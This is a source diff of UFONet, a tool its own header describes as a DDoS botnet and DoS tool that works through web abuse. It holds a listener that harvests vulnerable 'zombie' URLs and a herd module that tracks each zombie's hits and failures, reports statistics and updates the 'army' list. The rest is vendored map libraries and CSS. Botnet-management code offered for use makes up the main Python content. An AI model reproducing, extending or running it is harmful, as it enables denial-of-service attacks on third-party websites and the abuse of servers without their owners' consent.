+            if "%7C" in data: # %7C -> |
+                regex_zmb = re.compile('{}(.*){}'.format(re.escape('%7C'), re.escape(' HTTP'))) # regex magics
+            else:
+                regex_zmb = re.compile('{}(.*){}'.format(re.escape('|'), re.escape(' HTTP'))) # regex magics
+            pattern_zmb = re.compile(regex_zmb)
+            zombie_vul = re.findall(pattern_zmb, data)
+            if zombie_vul not in self.real_zombies: # add zombies only one time
+                self.real_zombies.append(zombie_vul)
+
+    def client_finished(self, _thread):
+        self._clients.remove(_thread)
+
+    def shutdown(self):
+        if self.ready:
+            self.socket.shutdown(socket.SHUT_RDWR)
+            self.socket.close()
+        self.running = False
+        self._armed = False
+        self.ready = False
+
+    def run(self):
+        while not self.running and self._armed:
+            try:
+                s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
+                s.bind(('', 8080))
+                self.running = True
+            except socket.error as e:
+                print("\n[Warning] Doll socket busy, retry opening")
+                if e.errno == 98: # if is in use wait a bit and retry
+                    time.sleep(3)
+                else:
+                    return
+        if not self._armed:
+            print "\n[Error] Doll not armed"
+            return
+        self.socket = s
+        self.ready = True
+        s.listen(1)
+        while self.running and self._armed:
+            try:
+                conn, addr = s.accept()
+            except socket.timeout:
+                print("\n[Warning] Socket is giving timeout...")
+                pass
+            except socket.error, e:
+                if self.ready == False:
+                    return
+                else:
+                    break
+            else:
+                t = Needle(conn, addr, self)
+                t.start()
+                self._clients.append(t)
+        if self.ready:
+            s.close()
+            self.ready = False

+ 288 - 0
core/herd.py

@@ -0,0 +1,288 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import socket, threading, logging, datetime
+import zombie
+import sys, os, re
+from urlparse import urlparse
+
+# zombie tracking class
+class Herd(object):
+    # basic constructor
+    def __init__(self,ufonet):
+        super(Herd, self).__init__()
+        self.ufonet=ufonet
+        self.reset()
+        self.total_connections=0
+        self.total_hits=0
+        self.total_fails=0
+        self.total_time=0
+        self.total_size=0
+        self.total_connection_fails=0
+        self.living=threading.active_count()
+        self.stats={}
+        self.zombies_ready = []
+
+    # property setup
+    def reset(self):
+        self.active = []
+        self.done = []
+        self.lock = threading.Lock()
+        self.result={}
+        self.connection={}
+
+    # clean temporary statistic files
+    def cleanup(self):
+        try:
+            if os.path.exists("/tmp/ufonet.html"):
+                os.remove("/tmp/ufonet.html")
+            if os.path.exists("/tmp/ufonet.html.tmp"):
+                os.remove("/tmp/ufonet.html.tmp")
+        except:
+            pass
+
+    # got a new one !
+    def new_zombie(self, zombie):
+        self.total_connections+=1
+        if zombie not in self.stats:
+            self.stats[zombie]=[]
+        with self.lock:
+            self.active.append(zombie)
+
+    # give me your report & byebye
+    def kill_zombie(self, zombie, result, connection_failed):
+        with self.lock:
+            try:
+                self.result[zombie]=str(result)
+                self.connection[zombie]=connection_failed
+                self.done.append(zombie)
+                if result[0]==200 :
+                    self.total_hits+=1
+                else:
+                    self.total_fails+=1
+                if connection_failed:
+                    self.total_connection_fails+=1
+                self.active.remove(zombie)
+                self.total_time+=result[1]
+                self.total_size+=result[2]
+                if zombie in self.stats:
+                    self.stats[zombie].append(result)
+                else:
+                    pass
+            except:
+                pass
+
+    # head count (+/- headless zombies)
+    # active thread count = 1 principal + 1/zombie
+    def no_more_zombies(self):
+        ac=threading.active_count()
+        options = self.ufonet.options
+        if options.verbose == True:
+            if ac>self.living:
+                print "[Control] Active zombies:", ac-self.living, ", waiting for them to return..."
+            else:
+                print "="*41
+                print "\n[Control] All zombies returned to the master ;-)"
+                print "-"*21
+        with self.lock:
+            return ac==self.living
+
+    # retrieve result by zombie name
+    def get_result(self,zombie):
+        return self.result[zombie] or False
+
+    # retrieve connection status by zombie name
+    def connection_failed(self,zombie):
+        return self.connection[zombie] or False
+
+    # retrieve size on correct format
+    def sizeof_fmt(self, size, suffix='B'):
+        for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:
+            if abs(size) < 1024.0:
+                return "%3.1f%s%s" % (size, unit, suffix)
+            size /= 1024.0
+        return "%.1f%s%s" % (size, 'Yi', suffix)
+
+    # generate html statistics
+    def dump_html(self,final=False):
+        buf=""
+        out=self.get_stat()
+        if os.path.exists("/tmp/ufonet.html.tmp"):
+            print 'tmp file found, html output abort !!!'
+            return
+        buf += "<div>" + os.linesep
+        if out['err'] is not None:
+            buf += "<div>Errors : <br/>"+str(out['err'])+'</div>'+os.linesep
+        buf += "<h2>Conn: " +str(self.total_connections)+" - Zombies: "+str(len(self.stats))+" -> Hits: "+str(self.total_hits)+" - Fails: "+str(self.total_fails)+"</h2>"+os.linesep
+        buf += "<div id='zombie_list'><h3>Zombies: </h3>"
+        if len(out['data'])==0:
+            buf += "waiting..."
+        for l in out["data"] :
+            hits='<font color="green">'+str(out['data'][l]['hits'])+'</font>'
+            fails=str(out['data'][l]['fails'])
+            buf += "<button href='#' title='"+l+"' onclick=\"zombie_detail("+str(out['data'][l])+")\">"+fails+"/"+hits+"</button>"+os.linesep
+        buf += "</div>"
+        if out['max_hits'] > 0:
+            buf += "<hr/>"+os.linesep
+            buf += "<div>Zombie 0day: "+str( out['max_hitz'])+ " with "+str( out['max_hits'])+ " hits</div>"+os.linesep
+        if out['max_fails'] > 0:
+            buf += "<hr/>"+os.linesep
+            buf += "<div>Worst zombie: "+str(out['max_failz'])+ " with "+str(out['max_fails'])+" fails</div>"+os.linesep
+        buf += "<hr/>"+os.linesep
+        try:
+            buf += "<div>Total time:" +str(out['total_time'])+ " | Avg time:"+str(out['avg_time'])+"</div>"+os.linesep
+            buf += "<div>Total size:"+str(out['total_size'])+" | Avg size:"+str(out['avg_size'])+"</div>"+os.linesep
+            buf += "<hr/>"+os.linesep
+        except:
+            pass
+        buf += "<div><h3>Troops: </h3></div>"+os.linesep
+        buf += "<div>Aliens: " + str(self.ufonet.total_aliens) + " | Hits: " + str(self.ufonet.aliens_hit) + " | Fails: " + str(self.ufonet.aliens_fail)+"</div>" + os.linesep
+        buf += "<div>Droids: " + str(self.ufonet.total_droids) + " | Hits: " + str(self.ufonet.droids_hit) + " | Fails: " + str(self.ufonet.droids_fail)+"</div>" + os.linesep
+        buf += "<div>UCAVs: " + str(self.ufonet.total_ucavs) + " | Hits: " + str(self.ufonet.ucavs_hit) + " | Fails: " + str(self.ufonet.ucavs_fail)+"</div>" + os.linesep
+        buf += "<div>XRPCs: " + str(self.ufonet.total_rpcs) + " | Hits: " + str(self.ufonet.rpcs_hit) + " | Fails: " + str(self.ufonet.rpcs_fail)+"</div>" + os.linesep
+        f = open("/tmp/ufonet.html.tmp", "w") 
+        f.write(buf)
+        if(final):
+            f.write("<script>hdone=true</script>")
+        f.close()
+        os.rename("/tmp/ufonet.html.tmp","/tmp/ufonet.html")
+
+    # generate statistics for stdout
+    def format(self, out):
+        print '='*42
+        print "Herd statistics"
+        print "="*42
+        if len(out['data'])==0:
+            print "\n[Error] Something wrong retrieving data feedback. Executing evasion routine!"
+            return
+        for zo in out['data']:
+            z=out['data'][zo]
+            print 'Zombie :', z['name'], " | ", z['hits'], " hits ", z['fails'] ," fails ", z['retries'], " retries "
+            print "  Times:", z['time'], " total ", z['min_time'], " min ", z['avg_time'] ," avg ", z['max_time'], " max "
+            print "  Sizes:", z['size'], " total ", z['min_size'], " min ", z['size'] ," avg ", z['max_size'], " max "
+            print "-"*21
+        if out['max_hits'] > 0:
+            print "="*80
+            print "Zombie 0day: ", out['max_hitz'], " with ", out['max_hits'], " hits"
+        if out['max_fails'] > 0:
+            print "="*80
+            print "Worst zombie: ", out['max_failz'], " with ", out['max_fails'], " fails"
+        print "="*80
+        print "Total invocations:", self.total_connections,"| Zombies:", len(self.stats),"| Hits:", self.total_hits,"| Fails:", self.total_fails
+        print "Total time:", out['total_time'], "| Avg time:", out['avg_time']
+        print "Total size:", out['total_size'],"| Avg size:", out['avg_size']
+        print "-"*21
+        print "="*42
+        print "Troops statistics"
+        print "="*42
+        print "Aliens: " + str(self.ufonet.total_aliens) + " | Hits: " + str(self.ufonet.aliens_hit) + " | Fails: " + str(self.ufonet.aliens_fail)
+        print "Droids: " + str(self.ufonet.total_droids) + " | Hits: " + str(self.ufonet.droids_hit) + " | Fails: " + str(self.ufonet.droids_fail)
+        print "UCAVs : " + str(self.ufonet.total_ucavs) + " | Hits: " + str(self.ufonet.ucavs_hit) + " | Fails: " + str(self.ufonet.ucavs_fail)
+        print "XRPCs : " + str(self.ufonet.total_rpcs) + " | Hits: " + str(self.ufonet.rpcs_hit) + " | Fails: " + str(self.ufonet.rpcs_fail)
+        print "-"*21
+        print "\n" # gui related
+        print '='*21
+
+    # show what we have
+    def get_stat(self):
+        data={}
+        out={'err':None,"header":"","data":{},"total":{},"footer":"",'max_fails':0,'max_failz':"",'max_hits':0,'max_hitz':""}
+        if os.path.exists("html.tmp"):
+            out['err']= "tmp file found"
+            return out
+        if self.total_connections==0:
+            out['err']= "No herd without zombies"
+            return out
+        if len(self.stats)==0:
+            out['err']=  "No statistics available"
+            return out
+        self.zero_fails = 0
+        for zombie_stat in self.stats:
+            zs=self.stats[zombie_stat]
+            try:
+                entry={'name':zombie_stat,"hits":0,"fails":0,"retries":0,"time":0,"max_time":0,"min_time":zs[0][1],"avg_time":0,"size":0,"max_size":0,"min_size":zs[0][2],"avg_size":0}
+            except:
+                out['err']=  "No statistics available\n"
+                return out
+            if len(zs)==0:
+                continue
+            for line in zs:
+                if line[0]==200:
+                    entry['hits']+=1
+                else:
+                    entry['fails']+=1
+                if self.connection[zombie_stat]:
+                    entry['retries']+=1
+                entry['time']+=line[1]
+                if line[1]>entry['max_time']: 
+                    entry['max_time']=line[1]
+                if line[1]<entry['min_time']: 
+                    entry['min_time']=line[1]
+                entry['size']+=line[2]
+                if line[2]>entry['max_size']: 
+                    entry['max_size']=line[2]
+                if line[2]<entry['min_size']: 
+                    entry['min_size']=line[2]
+            if entry['fails'] == 0:
+                self.zero_fails +=1
+            entry['min_time'] = str(datetime.timedelta(seconds=entry['min_time']))
+            entry['avg_time'] = str(datetime.timedelta(seconds=entry['time']/len(zs)))
+            entry['max_time'] = str(datetime.timedelta(seconds=entry['max_time']))
+            entry['time'] = str(datetime.timedelta(seconds=entry['time']))
+            entry['min_size'] = self.sizeof_fmt(int(entry['min_size']))
+            entry['avg_size'] = self.sizeof_fmt(int(entry['size']/len(zs)))
+            entry['max_size'] = self.sizeof_fmt(int(entry['max_size']))
+            entry['size']=self.sizeof_fmt(int(entry['size']))
+            if entry['fails'] > out['max_fails']:
+                out['max_fails'] = entry['fails']
+                out['max_failz'] = zombie_stat
+            if entry['hits'] > out['max_hits']:
+                out['max_hits'] = entry['hits']
+                out['max_hitz'] = zombie_stat
+            if entry['fails'] == 0:
+                if zombie_stat not in self.zombies_ready: # parse for repetitions
+                    self.zombies_ready.append(zombie_stat)
+            data[entry['name']] = entry
+        out['total_time'] =  str(datetime.timedelta(seconds=self.total_time))
+        out['avg_time_calc'] = self.total_time/self.total_connections
+        out['avg_time'] = str(datetime.timedelta(seconds=out['avg_time_calc']))
+        out['total_size'] = self.sizeof_fmt(int(self.total_size))
+        out['avg_size'] = self.sizeof_fmt(int(self.total_size/self.total_connections))
+        out['data']=data
+        return out
+
+    # wrapper
+    def dump(self):
+        out=self.get_stat()
+        if out['err'] is not None:
+            print "[Error] "+out['err']
+        self.format(out)
+
+    def list_fails(self):
+        options = self.ufonet.options
+        if self.total_connections==0:
+            return
+        if self.zombies_ready == None: # if not herd return
+            return
+        if not options.forceyes:
+            print '-'*25
+            update_reply = raw_input("Want to update your army (Y/n)")
+            print '-'*25
+        else:
+            update_reply = "Y"
+        if update_reply == "n" or update_reply == "N":
+            print "\nBye!\n"
+            return
+        else:
+            self.ufonet.update_zombies(self.zombies_ready)
+            print "\n[Info] - Botnet updated! ;-)\n"
+        if os.path.exists('mothership') == True:
+            os.remove('mothership') # remove mothership stream
+        if os.path.exists('alien') == True:
+            os.remove('alien') # remove random alien worker

BIN
core/images/aliens/alien1.png


BIN
core/images/aliens/alien2.png


BIN
core/images/aliens/alien3.png


BIN
core/images/aliens/alien4.png


BIN
core/images/aliens/alien5.png


BIN
core/images/aliens/alien6.png


BIN
core/images/aliens/alien7.png


BIN
core/images/aliens/alien8.png


BIN
core/images/board.png


BIN
core/images/crew/link1.png


BIN
core/images/crew/link10.png


BIN
core/images/crew/link11.png


BIN
core/images/crew/link12.png


BIN
core/images/crew/link2.png


BIN
core/images/crew/link3.png


BIN
core/images/crew/link4.png


BIN
core/images/crew/link5.png


BIN
core/images/crew/link6.png


BIN
core/images/crew/link7.png


BIN
core/images/crew/link8.png


BIN
core/images/crew/link9.png


BIN
core/images/favicon.ico


BIN
core/images/mothership.png


File diff suppressed because it is too large
+ 1054 - 0
core/inspector.py


+ 10 - 0
core/js/ajaxmap.css

@@ -0,0 +1,10 @@
+#ufomsg{
+    max-height: 400px;
+    overflow-y: scroll;
+}
+
+#zombie_list{
+    max-height: 320px;
+    max-width: 576px;
+    overflow-y: scroll;
+}

+ 39 - 0
core/js/cluster/MarkerCluster.Default.css

@@ -0,0 +1,39 @@
+.marker-cluster-small {
+	background-color: rgba(255, 0, 0, 0.6);
+	}
+.marker-cluster-small div {
+	background-color: rgba(256, 0, 0, 0.6);
+	}
+
+.marker-cluster-medium {
+	background-color: rgba(255, 0, 0, 0.6);
+	}
+.marker-cluster-medium div {
+	background-color: rgba(256, 0, 0, 0.6);
+	}
+
+.marker-cluster-large {
+	background-color: rgba(255, 0, 0, 0.6);
+	}
+.marker-cluster-large div {
+	background-color: rgba(256, 0, 0, 0.6);
+	}
+
+.marker-cluster {
+	background-clip: padding-box;
+	border-radius: 20px;
+	}
+.marker-cluster div {
+	width: 30px;
+	height: 30px;
+	margin-left: 5px;
+	margin-top: 5px;
+
+	text-align: center;
+	border-radius: 15px;
+	font-family: 'Source Code Pro', Arial, serif; font-weight: 400; 
+	font-size:12px;
+	}
+.marker-cluster span {
+	line-height: 30px;
+	}

+ 22 - 0
core/js/cluster/MarkerCluster.Default.ie.css

@@ -0,0 +1,22 @@
+ /* IE 6-8 fallback colors */
+.marker-cluster-small {
+	background-color: rgb(181, 226, 140);
+	}
+.marker-cluster-small div {
+	background-color: rgb(110, 204, 57);
+	}
+
+.marker-cluster-medium {
+	background-color: rgb(241, 211, 87);
+	}
+.marker-cluster-medium div {
+	background-color: rgb(240, 194, 12);
+	}
+
+.marker-cluster-large {
+	background-color: rgb(253, 156, 115);
+	}
+.marker-cluster-large div {
+	background-color: rgb(241, 128, 23);
+}
+

+ 6 - 0
core/js/cluster/MarkerCluster.css

@@ -0,0 +1,6 @@
+.leaflet-cluster-anim .leaflet-marker-icon, .leaflet-cluster-anim .leaflet-marker-shadow {
+	-webkit-transition: -webkit-transform 0.2s ease-out, opacity 0.2s ease-in;
+	-moz-transition: -moz-transform 0.2s ease-out, opacity 0.2s ease-in;
+	-o-transition: -o-transform 0.2s ease-out, opacity 0.2s ease-in;
+	transition: transform 0.2s ease-out, opacity 0.2s ease-in;
+	}

File diff suppressed because it is too large
+ 2015 - 0
core/js/cluster/leaflet.markercluster-src.js


File diff suppressed because it is too large
+ 6 - 0
core/js/cluster/leaflet.markercluster.js


File diff suppressed because it is too large
+ 6 - 0
core/js/jquery-1.10.2.min.js


BIN
core/js/leaflet/images/layers-2x.png


BIN
core/js/leaflet/images/layers.png


BIN
core/js/leaflet/images/marker-icon-2x.png


BIN
core/js/leaflet/images/marker-icon.png


BIN
core/js/leaflet/images/marker-shadow.png


BIN
core/js/leaflet/images/ufonet-zombie.png


File diff suppressed because it is too large
+ 8909 - 0
core/js/leaflet/leaflet-src.js


+ 462 - 0
core/js/leaflet/leaflet.css

@@ -0,0 +1,462 @@
+/* required styles */
+.leaflet-map-pane,
+.leaflet-tile,
+.leaflet-marker-icon,
+.leaflet-marker-shadow,
+.leaflet-tile-pane,
+.leaflet-tile-container,
+.leaflet-overlay-pane,
+.leaflet-shadow-pane,
+.leaflet-marker-pane,
+.leaflet-popup-pane,
+.leaflet-overlay-pane svg,
+.leaflet-zoom-box,
+.leaflet-image-layer,
+.leaflet-layer {
+	position: absolute;
+	left: 0;
+	top: 0;
+	}
+.leaflet-container {
+	overflow: hidden;
+	-ms-touch-action: none;
+	}
+.leaflet-tile,
+.leaflet-marker-icon,
+.leaflet-marker-shadow {
+	-webkit-user-select: none;
+	   -moz-user-select: none;
+	        user-select: none;
+	-webkit-user-drag: none;
+	}
+.leaflet-marker-icon,
+.leaflet-marker-shadow {
+	display: block;
+	}
+/* map is broken in FF if you have max-width: 100% on tiles */
+.leaflet-container img {
+	max-width: none !important;
+	}
+/* stupid Android 2 doesn't understand "max-width: none" properly */
+.leaflet-container img.leaflet-image-layer {
+	max-width: 15000px !important;
+	}
+.leaflet-tile {
+	filter: inherit;
+	visibility: hidden;
+	}
+.leaflet-tile-loaded {
+	visibility: inherit;
+	}
+.leaflet-zoom-box {
+	width: 0;
+	height: 0;
+	}
+/* workaround for https://bugzilla.mozilla.org/show_bug.cgi?id=888319 */
+.leaflet-overlay-pane svg {
+	-moz-user-select: none;
+	}
+
+.leaflet-tile-pane    { z-index: 2; }
+.leaflet-objects-pane { z-index: 3; }
+.leaflet-overlay-pane { z-index: 4; }
+.leaflet-shadow-pane  { z-index: 5; }
+.leaflet-marker-pane  { z-index: 6; }
+.leaflet-popup-pane   { z-index: 7; }
+
+
+/* control positioning */
+
+.leaflet-control {
+	position: relative;
+	z-index: 7;
+	pointer-events: auto;
+	}
+.leaflet-top,
+.leaflet-bottom {
+	position: absolute;
+	z-index: 1000;
+	pointer-events: none;
+	}
+.leaflet-top {
+	top: 0;
+	}
+.leaflet-right {
+	right: 0;
+	}
+.leaflet-bottom {
+	bottom: 0;
+	}
+.leaflet-left {
+	left: 0;
+	}
+.leaflet-control {
+	float: left;
+	clear: both;
+	}
+.leaflet-right .leaflet-control {
+	float: right;
+	}
+.leaflet-top .leaflet-control {
+	margin-top: 10px;
+	}
+.leaflet-bottom .leaflet-control {
+	margin-bottom: 10px;
+	}
+.leaflet-left .leaflet-control {
+	margin-left: 10px;
+	}
+.leaflet-right .leaflet-control {
+	margin-right: 10px;
+	}
+
+
+/* zoom and fade animations */
+
+.leaflet-fade-anim .leaflet-tile,
+.leaflet-fade-anim .leaflet-popup {
+	opacity: 0;
+	-webkit-transition: opacity 0.2s linear;
+	   -moz-transition: opacity 0.2s linear;
+	     -o-transition: opacity 0.2s linear;
+	        transition: opacity 0.2s linear;
+	}
+.leaflet-fade-anim .leaflet-tile-loaded,
+.leaflet-fade-anim .leaflet-map-pane .leaflet-popup {
+	opacity: 1;
+	}
+
+.leaflet-zoom-anim .leaflet-zoom-animated {
+	-webkit-transition: -webkit-transform 0.25s cubic-bezier(0,0,0.25,1);
+	   -moz-transition:    -moz-transform 0.25s cubic-bezier(0,0,0.25,1);
+	     -o-transition:      -o-transform 0.25s cubic-bezier(0,0,0.25,1);
+	        transition:         transform 0.25s cubic-bezier(0,0,0.25,1);
+	}
+.leaflet-zoom-anim .leaflet-tile,
+.leaflet-pan-anim .leaflet-tile,
+.leaflet-touching .leaflet-zoom-animated {
+	-webkit-transition: none;
+	   -moz-transition: none;
+	     -o-transition: none;
+	        transition: none;
+	}
+
+.leaflet-zoom-anim .leaflet-zoom-hide {
+	visibility: hidden;
+	}
+
+
+/* cursors */
+
+.leaflet-clickable {
+	cursor: pointer;
+	}
+.leaflet-container {
+	cursor: -webkit-grab;
+	cursor:    -moz-grab;
+	}
+.leaflet-popup-pane,
+.leaflet-control {
+	cursor: auto;
+	}
+.leaflet-dragging,
+.leaflet-dragging .leaflet-clickable,
+.leaflet-dragging .leaflet-container {
+	cursor: move;
+	cursor: -webkit-grabbing;
+	cursor:    -moz-grabbing;
+	}
+
+
+/* visual tweaks */
+
+.leaflet-container {
+	background: #ddd;
+	outline: 0;
+	}
+.leaflet-container a {
+	}
+.leaflet-container a.leaflet-active {
+	outline: 2px solid orange;
+	}
+.leaflet-zoom-box {
+	border: 2px dotted #05f;
+	background: white;
+	opacity: 0.5;
+	}
+
+
+/* general typography */
+.leaflet-container {
+        font-weight: bold;
+	font-size: 10px;
+        color: black;
+        background-color:rgba(255, 255, 255, 0.7);
+        box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+        -webkit-border-radius: 4px;
+            border-radius: 4px;
+
+	}
+
+
+/* general toolbar styles */
+
+.leaflet-bar {
+        background-color:rgba(255, 255, 255, 0.7);
+	box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+	-webkit-border-radius: 4px;
+	        border-radius: 4px;
+	}
+.leaflet-bar a, .leaflet-bar a:hover {
+	width: 26px;
+	height: 26px;
+	line-height: 26px;
+	display: block;
+	text-align: center;
+	text-decoration: none;
+	}
+.leaflet-bar a,
+.leaflet-control-layers-toggle {
+	background-position: 50% 50%;
+	background-repeat: no-repeat;
+	display: block;
+	}
+.leaflet-bar a:hover {
+	background-color: #f4f4f4;
+	}
+.leaflet-bar a:first-child {
+	-webkit-border-top-left-radius: 4px;
+	        border-top-left-radius: 4px;
+	-webkit-border-top-right-radius: 4px;
+	        border-top-right-radius: 4px;
+	}
+.leaflet-bar a:last-child {
+	-webkit-border-bottom-left-radius: 4px;
+	        border-bottom-left-radius: 4px;
+	-webkit-border-bottom-right-radius: 4px;
+	        border-bottom-right-radius: 4px;
+	border-bottom: none;
+	}
+.leaflet-bar a.leaflet-disabled {
+	cursor: default;
+	background-color: #f4f4f4;
+	color: #bbb;
+	}
+
+.leaflet-touch .leaflet-bar {
+	-webkit-border-radius: 10px;
+	        border-radius: 10px;
+	}
+.leaflet-touch .leaflet-bar a {
+	width: 30px;
+	height: 30px;
+	}
+.leaflet-touch .leaflet-bar a:first-child {
+	-webkit-border-top-left-radius: 7px;
+	        border-top-left-radius: 7px;
+	-webkit-border-top-right-radius: 7px;
+	        border-top-right-radius: 7px;
+	}
+.leaflet-touch .leaflet-bar a:last-child {
+	-webkit-border-bottom-left-radius: 7px;
+	        border-bottom-left-radius: 7px;
+	-webkit-border-bottom-right-radius: 7px;
+	        border-bottom-right-radius: 7px;
+	border-bottom: none;
+	}
+
+
+/* zoom control */
+
+.leaflet-control-zoom-in {
+        color: black;
+        font-weight: 300;
+	font-size: 20px; 
+	}
+.leaflet-control-zoom-out {
+        color: black;
+        font-weight: 300; 
+	font-size: 20px; 
+	}
+
+.leaflet-touch .leaflet-control-zoom-in {
+	font-size: 22px;
+	line-height: 30px;
+	}
+.leaflet-touch .leaflet-control-zoom-out {
+	font-size: 22px;
+	line-height: 30px;
+	}
+
+
+/* layers control */
+
+.leaflet-control-layers {
+        background-color:rgba(255, 255, 255, 0.7);
+        box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+    -webkit-border-radius: 4px;
+            border-radius: 4px;
+        margin: 0;
+	}
+.leaflet-control-layers-toggle {
+	background-image: url(images/layers.png);
+	width: 36px;
+	height: 36px;
+	}
+.leaflet-retina .leaflet-control-layers-toggle {
+	background-image: url(images/layers-2x.png);
+	background-size: 26px 26px;
+	}
+.leaflet-touch .leaflet-control-layers-toggle {
+	width: 44px;
+	height: 44px;
+	}
+.leaflet-control-layers .leaflet-control-layers-list,
+.leaflet-control-layers-expanded .leaflet-control-layers-toggle {
+	display: none;
+	}
+.leaflet-control-layers-expanded .leaflet-control-layers-list {
+	display: block;
+	position: relative;
+	}
+.leaflet-control-layers-expanded {
+	padding: 6px 10px 6px 6px;
+	}
+.leaflet-control-layers-selector {
+	margin-top: 2px;
+	position: relative;
+	top: 1px;
+	}
+.leaflet-control-layers label {
+	display: block;
+	}
+.leaflet-control-layers-separator {
+	height: 0;
+	border-top: 1px solid #ddd;
+	margin: 5px -10px 5px -6px;
+	}
+
+
+/* attribution and scale controls */
+
+.leaflet-container .leaflet-control-attribution {
+        background-color:rgba(255, 255, 255, 0.7);
+        box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+    -webkit-border-radius: 4px;
+            border-radius: 4px;
+	margin: 0;
+	}
+.leaflet-control-attribution,
+.leaflet-control-scale-line {
+	padding: 0 5px;
+	color: #333;
+	}
+.leaflet-container .leaflet-control-attribution,
+.leaflet-container .leaflet-control-scale {
+	font-size: 11px;
+	}
+.leaflet-left .leaflet-control-scale {
+	margin-left: 5px;
+	}
+.leaflet-bottom .leaflet-control-scale {
+	margin-bottom: 5px;
+	}
+.leaflet-control-scale-line {
+	border: 2px solid #777;
+	border-top: none;
+	color: black;
+	line-height: 1.1;
+	padding: 2px 5px 1px;
+	font-size: 11px;
+	text-shadow: 1px 1px 1px #fff;
+        background-color:rgba(255, 255, 255, 0.7);
+        box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+    -webkit-border-radius: 4px;
+            border-radius: 4px;
+	white-space: nowrap;
+	overflow: hidden;
+	}
+.leaflet-control-scale-line:not(:first-child) {
+	border-top: 2px solid #777;
+	border-bottom: none;
+	margin-top: -2px;
+        box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+    -webkit-border-radius: 4px;
+            border-radius: 4px;
+	}
+.leaflet-control-scale-line:not(:first-child):not(:last-child) {
+	border-bottom: 2px solid #777;
+	}
+
+.leaflet-touch .leaflet-control-attribution,
+.leaflet-touch .leaflet-control-layers,
+.leaflet-touch .leaflet-bar {
+	box-shadow: none;
+	}
+.leaflet-touch .leaflet-control-layers,
+.leaflet-touch .leaflet-bar {
+	}
+
+
+/* popup */
+
+.leaflet-popup {
+	position: absolute;
+	text-align: center;
+	}
+.leaflet-popup-content-wrapper {
+	padding: 1px;
+	text-align: left;
+	}
+.leaflet-popup-content {
+	margin: 13px 19px;
+	line-height: 1.4;
+	}
+.leaflet-popup-content p {
+	margin: 18px 0;
+	}
+.leaflet-popup-content b {
+        color: green;
+        font-weight: bold;
+        font-size: 10px;
+        }
+.leaflet-popup-content-wrapper, .leaflet-popup-tip {
+        background-color:rgba(255, 255, 255, 0.7);
+        box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+        -webkit-border-radius: 4px;
+            border-radius: 4px;
+	}
+.leaflet-container a.leaflet-popup-close-button {
+	position: absolute;
+	top: 0;
+	right: 0;
+	text-align: center;
+	width: 18px;
+	height: 14px;
+        font-weight: 400; 
+	color: black;
+	font-size:15px;
+	text-decoration: none;
+	font-weight: bold;
+	background: transparent;
+	}
+.leaflet-container a.leaflet-popup-close-button:hover {
+	color: #eeeeee;
+	}
+.leaflet-popup-scrolled {
+	overflow: auto;
+	border-bottom: 1px solid #ddd;
+	border-top: 1px solid #ddd;
+	}
+
+
+/* div icon */
+
+.leaflet-div-icon {
+	background: #fff;
+	border: 1px solid #666;
+	}
+.leaflet-editing-icon {
+	-webkit-border-radius: 2px;
+	        border-radius: 2px;
+	}

+ 51 - 0
core/js/leaflet/leaflet.ie.css

@@ -0,0 +1,51 @@
+.leaflet-vml-shape {
+	width: 1px;
+	height: 1px;
+	}
+.lvml {
+	behavior: url(#default#VML);
+	display: inline-block;
+	position: absolute;
+	}
+
+.leaflet-control {
+	display: inline;
+	}
+
+.leaflet-popup-tip {
+	width: 21px;
+	_width: 27px;
+	margin: 0 auto;
+	_margin-top: -3px;
+
+	filter: progid:DXImageTransform.Microsoft.Matrix(M11=0.70710678, M12=0.70710678, M21=-0.70710678, M22=0.70710678);
+	-ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=0.70710678, M12=0.70710678, M21=-0.70710678, M22=0.70710678)";
+	}
+.leaflet-popup-tip-container {
+	margin-top: -1px;
+	}
+.leaflet-popup-content-wrapper, .leaflet-popup-tip {
+	border: 1px solid #999;
+	}
+.leaflet-popup-content-wrapper {
+	zoom: 1;
+	}
+
+.leaflet-control-zoom,
+.leaflet-control-layers {
+	border: 3px solid #999;
+	}
+.leaflet-control-layers-toggle {
+	}
+.leaflet-control-attribution,
+.leaflet-control-layers,
+.leaflet-control-scale-line {
+	background: white;
+	}
+.leaflet-zoom-box {
+	filter: alpha(opacity=50);
+	}
+.leaflet-control-attribution {
+	border-top: 1px solid #bbb;
+	border-left: 1px solid #bbb;
+	}

File diff suppressed because it is too large
+ 9 - 0
core/js/leaflet/leaflet.js


File diff suppressed because it is too large
+ 8111 - 0
core/js/raphael.js


+ 599 - 0
core/js/rlayer-src.js

@@ -0,0 +1,599 @@
+/*
+ RaphaelLayer, a JavaScript library for overlaying Raphael objects onto Leaflet interactive maps. http://dynmeth.github.com/RaphaelLayer
+ (c) 2012-2013, David Howell, Dynamic Methods Pty Ltd
+
+ Version 0.1.3
+*/
+
+(function() {
+
+var R, originalR;
+
+if (typeof exports != 'undefined') {
+	R = exports;
+} else {
+	R = {};
+
+	originalR = window.R;
+
+	R.noConflict = function() {
+		window.R = originalR;
+		return R;
+	};
+
+	window.R = R;
+}
+
+R.version = '0.1.3';
+
+R.Layer = L.Class.extend({
+	includes: L.Mixin.Events,
+	
+	initialize: function(options) {
+		
+	},
+
+	onAdd: function (map) {
+		this._map = map;
+		this._map._initRaphaelRoot();
+		this._paper = this._map._paper;
+		this._set = this._paper.set();
+		
+		map.on('viewreset', this.projectLatLngs, this);
+		this.projectLatLngs();
+	},
+
+	onRemove: function(map) {
+		map.off('viewreset', this.projectLatLngs, this);
+		this._map = null;
+		this._set.forEach(function(item) {
+			item.remove();
+		}, this);
+		this._set.clear();
+	},
+
+	projectLatLngs: function() {
+		
+	},
+
+	animate: function(attr, ms, easing, callback) {
+		this._set.animate(attr, ms, easing, callback);
+	
+		return this;
+	},
+
